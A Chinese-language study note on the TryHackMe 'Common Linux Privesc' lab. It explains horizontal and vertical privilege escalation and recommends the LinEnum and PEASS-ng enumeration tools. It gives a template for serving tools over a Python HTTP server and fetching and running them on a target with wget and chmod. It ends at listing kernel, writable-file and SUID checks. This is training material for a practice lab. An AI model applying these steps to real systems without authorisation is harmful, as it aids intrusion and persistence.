常见的Linux权限提升 | TryHackMe - Common Linux Privesc

常见的 Linux 提权

这里使用的是tryhackme的这个房间,里面的题目整体简单,适合权限提升新手去熟悉使用,这里也没有过多的去解释操作,而是作为一个笔记整理了权限提升的基础的手法

了解权限提升

权限提升的核心通常是从较低权限提升到较高权限。更确切地说，它是利用系统中的漏洞、设计缺陷或配置疏忽。 操作系统或应用程序获得未经授权的访问 通常对用户限制的资源。

在实战中,很难直接活得管理员权限的立足点,一般都是专门的低权限的网站用户权限,高权限可以让我们实现更多的操作

• 重置密码
• 绕过访问控制来破坏受保护的数据
• 编辑软件配置
• 启动持久型,方便后续的再次访问
• 更改用户权限
• 以及拿到根 Flag

权限提升的方向

主要是两种权限提升:

• 水平提权： 通过控制与您相同权限级别的其他用户，扩大您对受感染系统的控制范围。
• 垂直提权（权限提升）：指尝试利用已攻陷的现有帐户获取更高权限或访问权限。

枚举

一般就是使用命令查看各种系统信息,从而发现可能的利用点,这里就推荐两个工具方便进行提权前的信息查看

LinEnum

PEASS-ng(这个工具是全平台的权限提升辅助工具,可以使用对应版本的工具)

如何把工具上传到目标机器:

• 使用 python -m http.server [port]开启一个简单的文件服务器,然后在目标机器中使用 wget http://[your_ip_address]:[port]/[file_name]来下载,之后使用 chmod +x [file]来赋予执行的权限
  • 可以选择下载到 temp 目录
• 也可以复制全部命令,到目标机器新建一个文件,粘贴进去,执行

在工具输出的结果中,我们重点关注

• 内核信息
• 敏感文件的权限,我们是否可以写入
• SUID,GUID 文件,